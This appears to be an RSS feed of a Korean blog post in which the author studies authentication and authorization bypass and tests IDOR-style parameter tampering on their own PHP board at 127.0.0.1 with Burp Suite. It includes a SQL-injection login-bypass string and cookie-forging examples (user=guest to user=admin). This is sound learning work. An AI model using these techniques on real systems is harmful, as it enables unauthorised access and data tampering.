<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>ㅎㅇ</title>
    <link>https://songtoy.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Wed, 26 Aug 2026 17:54:14 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>songtoy</managingEditor>
    <image>
      <title>ㅎㅇ</title>
      <url>https://tistory1.daumcdn.net/tistory/7915182/attach/3e70775a6eec4d39b43e246879c819cf</url>
      <link>https://songtoy.tistory.com</link>
    </image>
    <item>
      <title>웹 해킹 공부 - 인증/권한 우회</title>
      <link>https://songtoy.tistory.com/17</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;우선 &lt;b&gt;인증 우회&lt;/b&gt;란?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;신원확인을 건너뛰어 로그인없이 접근&lt;/b&gt;할 수 있도록 하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 &lt;b&gt;권한(인가) 우회&lt;/b&gt;란?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 &lt;b&gt;권한이 없는 리소스에 접근&lt;/b&gt;할 수 있도록 하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘 다 로그인 시스템이나 인증 과정에서 취약점을 악용하여 인증을 우회하고 민감한 정보나 기능에 접근할 수 있도록 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;불완전한 인증 로직이나 취약한 세션관리를 악용하는 방식으로 발생함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 이를 통해 관리자 권한, 비공개 데이터, 민감한 서비스 등에 접근할 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;인증/권한우회를 하는 방법&lt;/u&gt;에는 총 7가지가 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 입력값/파라미터 조작&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 요청 파라미터, 쿠키, 또는 폼 데이터 등을 변조하여 시스템이 이미 로그인된 사용자라고 잘못 인식하도록 만드는 기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- URL 파라미터 조작&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;브라우저 주소창을 직접 수정&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예) @@@.com/view?&lt;span style=&quot;background-color: #dddddd;&quot;&gt;id=1&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;을 변경하여 다른사람의 데이터를 조회&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 숨겨진 폼 필드 수정&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;HTML폼에서 사용자에게 보이지 않는 &amp;lt;input type=&quot;hidden&quot;&amp;gt;값을 변경&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예) &amp;lt;input type=&quot;hidden&quot; name=&quot;price&quot;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;value=&quot;1000&quot;&lt;/span&gt;&amp;gt;을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;value=&quot;1&quot;&lt;/span&gt;로 변경하여 가격 조작&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 쿠키 조작&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;브라우저에 저장된 쿠키값을 수정하여 사용자 권한을 위조하거나 세션을 하이재킹&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예) &lt;span style=&quot;background-color: #dddddd;&quot;&gt;user=guest&lt;/span&gt; -&amp;gt; &lt;span style=&quot;background-color: #dddddd;&quot;&gt;user=admin&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. SQL인젝션&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 입력 필드에 SQL 구문(예: ' or 1=1 -- )을 삽입하여 데이터베이스 쿼리를 조작함으로써 인증 검사를 우회하는 기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. JWT 악용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JWT의 페이로드를 변조하거나 서명 검증이 약한 점을 악용하여 다른 사용자(관리자)로 위장하는 기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 강제 브라우징/직접 접근&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 검증이 제대로 구현되지 않은 내부 URL에 직접 접근하여 인증 절차를 우회하는 기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5. 응답 변조&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 응답을 조작하여 다단계 인증과정에서 클라이언트 측 보안 로직이 허위 '성공' 상태를 받아들이도록 만드는 기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6. 파라미터/세션 하이재킹&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 쿠키를 수정하여 사용자 ID, 사용자명, 인증 상태 등을 변경함으로써 다른 사용자로 위장하는 기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7. 취약한 상태 머신&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 인증 흐름의 논리적 오류를 악용하는 기법 (예: 비밀번호 확인 후 필수적인 2단계 인증 절차를 건너뛸 수 있는 경우)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 해볼 수 있는건 입력값/파라미터 조작, SQLI, 응답 변조, 파라미터/세션 하이재킹 정도일 것 같네여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 만든 php게시판에서 모의해킹을 시도해볼거예요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격을 시도해보기 전에 앞서서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 포인트가 몇개인지 먼저 찾아봅시당&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1098&quot; data-origin-height=&quot;405&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u6AaK/dJMcadHQN3Q/VSwbJ3pB4zvN1dDooxvu21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u6AaK/dJMcadHQN3Q/VSwbJ3pB4zvN1dDooxvu21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u6AaK/dJMcadHQN3Q/VSwbJ3pB4zvN1dDooxvu21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu6AaK%2FdJMcadHQN3Q%2FVSwbJ3pB4zvN1dDooxvu21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1098&quot; height=&quot;405&quot; data-origin-width=&quot;1098&quot; data-origin-height=&quot;405&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;① URL 파라미터 조작(수정, 삭제)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;820&quot; data-origin-height=&quot;1219&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vzuU1/dJMb99ZPaZI/VowJdYzCfGI5dyfMkfnHk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vzuU1/dJMb99ZPaZI/VowJdYzCfGI5dyfMkfnHk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vzuU1/dJMb99ZPaZI/VowJdYzCfGI5dyfMkfnHk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvzuU1%2FdJMb99ZPaZI%2FVowJdYzCfGI5dyfMkfnHk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;820&quot; height=&quot;1219&quot; data-origin-width=&quot;820&quot; data-origin-height=&quot;1219&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;② 글 작성&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;700&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPQDTF/dJMcafsalih/imweD7KNGdX08KDKknYkv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPQDTF/dJMcafsalih/imweD7KNGdX08KDKknYkv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPQDTF/dJMcafsalih/imweD7KNGdX08KDKknYkv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPQDTF%2FdJMcafsalih%2FimweD7KNGdX08KDKknYkv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;997&quot; height=&quot;700&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;700&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;③ (버프스위트를 통한) 쿠키 조작&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1315&quot; data-origin-height=&quot;1129&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buIk9b/dJMcaca9yCB/zhjE1JwHLErHfu4rSOKQ30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buIk9b/dJMcaca9yCB/zhjE1JwHLErHfu4rSOKQ30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buIk9b/dJMcaca9yCB/zhjE1JwHLErHfu4rSOKQ30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuIk9b%2FdJMcaca9yCB%2FzhjE1JwHLErHfu4rSOKQ30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1315&quot; height=&quot;1129&quot; data-origin-width=&quot;1315&quot; data-origin-height=&quot;1129&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;④ (버프스위트를 통한) hidden 값 수정&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 제일 간단한 URL 파라미터 조작!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1085&quot; data-origin-height=&quot;534&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Tiz8P/dJMcacid3kB/BnvBMansi3tkmz0TA822N1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Tiz8P/dJMcacid3kB/BnvBMansi3tkmz0TA822N1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Tiz8P/dJMcacid3kB/BnvBMansi3tkmz0TA822N1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTiz8P%2FdJMcacid3kB%2FBnvBMansi3tkmz0TA822N1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1085&quot; height=&quot;534&quot; data-origin-width=&quot;1085&quot; data-origin-height=&quot;534&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1로 로그인했고, 관리자가 작성한 글을 수정/삭제 해보려고 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1이 작성한 글(64)에 들어가서 수정하기 클릭&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;39번 글의 제목을 ★★★로 변경하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수정완료 누르기전에 버프로 패킷 가로채기&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;955&quot; data-origin-height=&quot;977&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csm0L1/dJMcac3y0HQ/TE2yjUWecencFThcgaJgcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csm0L1/dJMcac3y0HQ/TE2yjUWecencFThcgaJgcK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csm0L1/dJMcac3y0HQ/TE2yjUWecencFThcgaJgcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcsm0L1%2FdJMcac3y0HQ%2FTE2yjUWecencFThcgaJgcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;955&quot; height=&quot;977&quot; data-origin-width=&quot;955&quot; data-origin-height=&quot;977&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저기 나와있는 64를 39로 바꿔주고 forward&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 64번 글은 그대로, 39번 글만 수정됨&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1101&quot; data-origin-height=&quot;534&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuAhiw/dJMcahX7R9U/Z420KKYBFmdmQVApbpwot0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuAhiw/dJMcahX7R9U/Z420KKYBFmdmQVApbpwot0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuAhiw/dJMcahX7R9U/Z420KKYBFmdmQVApbpwot0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuAhiw%2FdJMcahX7R9U%2FZ420KKYBFmdmQVApbpwot0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1101&quot; height=&quot;534&quot; data-origin-width=&quot;1101&quot; data-origin-height=&quot;534&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삭제도 마찬가지!&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1031&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg7fsX/dJMcab4FWDN/7rU3I2kES5C0MheAhvu5A1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg7fsX/dJMcab4FWDN/7rU3I2kES5C0MheAhvu5A1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg7fsX/dJMcab4FWDN/7rU3I2kES5C0MheAhvu5A1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg7fsX%2FdJMcab4FWDN%2F7rU3I2kES5C0MheAhvu5A1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1031&quot; height=&quot;416&quot; data-origin-width=&quot;1031&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삭제버튼 누르면 delete.php로 넘어가는걸 보고 url 파라미터값을 바꾸면 어떻게될까싶어서 해봄&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1100&quot; data-origin-height=&quot;752&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o03O7/dJMcahKB4jH/12VkKYk9cFMvLrevrqfNT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o03O7/dJMcahKB4jH/12VkKYk9cFMvLrevrqfNT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o03O7/dJMcahKB4jH/12VkKYk9cFMvLrevrqfNT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo03O7%2FdJMcahKB4jH%2F12VkKYk9cFMvLrevrqfNT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1100&quot; height=&quot;752&quot; data-origin-width=&quot;1100&quot; data-origin-height=&quot;752&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1이 작성하지 않은 56번의 글을 삭제하기위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1/delete.php?num=56 으로 해봄&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1030&quot; data-origin-height=&quot;383&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n5hJ8/dJMcabQ8uK2/HrLB38Mb9y39D8cL4Nu97K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n5hJ8/dJMcabQ8uK2/HrLB38Mb9y39D8cL4Nu97K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n5hJ8/dJMcabQ8uK2/HrLB38Mb9y39D8cL4Nu97K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn5hJ8%2FdJMcabQ8uK2%2FHrLB38Mb9y39D8cL4Nu97K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1030&quot; height=&quot;383&quot; data-origin-width=&quot;1030&quot; data-origin-height=&quot;383&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삭제됨 ㅡㅡ;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 수정은 안된다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;448&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMlvkK/dJMcai3KtHc/BF5zDsn80J4hhKJVZWknx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMlvkK/dJMcai3KtHc/BF5zDsn80J4hhKJVZWknx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMlvkK/dJMcai3KtHc/BF5zDsn80J4hhKJVZWknx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMlvkK%2FdJMcai3KtHc%2FBF5zDsn80J4hhKJVZWknx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1115&quot; height=&quot;448&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;448&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 URL 직접 치면 이렇게 뜨고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 작성한 글에서 수정버튼 누른후 수정완료 버튼 누르기 전에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;update.php?num=다른번호&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로 해도 원래 클릭했던(내가 작성했던) 글만 수정됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜안될까???&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1042&quot; data-origin-height=&quot;1214&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buBuWb/dJMcaaLtEJk/XTn3hBjzm9Yc4jkN2a0s7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buBuWb/dJMcaaLtEJk/XTn3hBjzm9Yc4jkN2a0s7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buBuWb/dJMcaaLtEJk/XTn3hBjzm9Yc4jkN2a0s7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuBuWb%2FdJMcaaLtEJk%2FXTn3hBjzm9Yc4jkN2a0s7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1042&quot; height=&quot;1214&quot; data-origin-width=&quot;1042&quot; data-origin-height=&quot;1214&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프에서 referer은 사용자가 어떤 링크를 통해 페이지에 접속했는지 저장하는 헤더라고 한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이걸 고쳐보면 안될까?해서 했는데 결론은 안됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP 요청 패킷에 포함된 헤더는 값이 변조되거나 없어도 응답 패킷에 영향을 주지 않는다고 한다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;( referer 값이 박히지 않아서 그런듯? )&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1512&quot; data-origin-height=&quot;408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbwwfM/dJMcaflIxfA/nGv4pQsaHOyEQt3VeJdKmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbwwfM/dJMcaflIxfA/nGv4pQsaHOyEQt3VeJdKmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbwwfM/dJMcaflIxfA/nGv4pQsaHOyEQt3VeJdKmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbwwfM%2FdJMcaflIxfA%2FnGv4pQsaHOyEQt3VeJdKmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1512&quot; height=&quot;408&quot; data-origin-width=&quot;1512&quot; data-origin-height=&quot;408&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1631&quot; data-origin-height=&quot;398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgmcJj/dJMcaarbc0C/wuldDhoQ2viz4nkO0AkQ3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgmcJj/dJMcaarbc0C/wuldDhoQ2viz4nkO0AkQ3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgmcJj/dJMcaarbc0C/wuldDhoQ2viz4nkO0AkQ3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgmcJj%2FdJMcaarbc0C%2FwuldDhoQ2viz4nkO0AkQ3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1631&quot; height=&quot;398&quot; data-origin-width=&quot;1631&quot; data-origin-height=&quot;398&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;암튼 update의 num은 히든으로 넘긴 값을 받아오기 때문에 URL을 아무리 바꾼들 실행 안됨 ㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(url이 아니라 폼에서 전달된 값으로 실행되니까)&lt;/p&gt;
